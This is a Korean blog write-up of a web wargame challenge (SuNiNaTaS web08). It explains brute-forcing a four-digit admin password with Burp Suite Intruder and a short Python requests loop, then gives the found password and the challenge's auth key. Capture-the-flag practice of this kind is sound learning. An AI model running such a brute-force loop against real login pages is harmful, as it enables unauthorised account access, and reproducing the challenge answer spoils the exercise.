반응형
http://suninatas.com/challenge/web08/web08.asp
[문제]
[풀이]
id는 admin이고 pw는 0~9999 라고 한다.
브루트포스 공격을 통해 Authkey 값을 얻으면 된다.
Burp Suite를 이용한다.
pw를 잡고 Payloads를 Numbers로 바꾼 뒤 From, To, Step을 정해준다.
Settings에 Grep - Match를 설정해준다.
pw가 맞아 떨어질 때, Authkey값이 노출되는 것을 알기 때문에 Authkey를 추가해준다.
이후 Start attack을 눌러 브루트포스 공격을 시작한다.
기다린다...
하지만 너무 느리게 돌아간다.
그래서 파이썬 코드를 사용해서 브루트포스를 돌린다.
import requests
url = 'http://suninatas.com/challenge/web08/web08.asp'
password = 0
for i in range(0, 10000):
value = {'id':'admin', 'pw': i}
res = requests.post(url, data=value)
if("Authkey" in res.text):
password = i
break
print(i)
print('password : ', password)
위 코드를 간략히 설명하면
1. url에 브루트포스 공격할 url을 저장한다.
2. 이후 0부터 9999까지 반복하여
3. pw에 0부터 9999까지의 수를 저장한다.
4. res에 value를 data로 담고 post를 보낸 뒤 받아오는 값을 저장한다.
5. 만약 res에 Authkey 문자가 있다면 password를 i로 저장 후 for문을 나온다.
6. password값 print
로 설명할 수 있다.
코드를 돌리면 7707이 Authkey값인 걸 확인할 수 있다.
password값이 출력되는 걸 확인할 수 있다.
id에 admin pw에 7707 입력하면 Authkey가 노출된다.
[AUTHKEY]
l3ruteforce P@ssword
반응형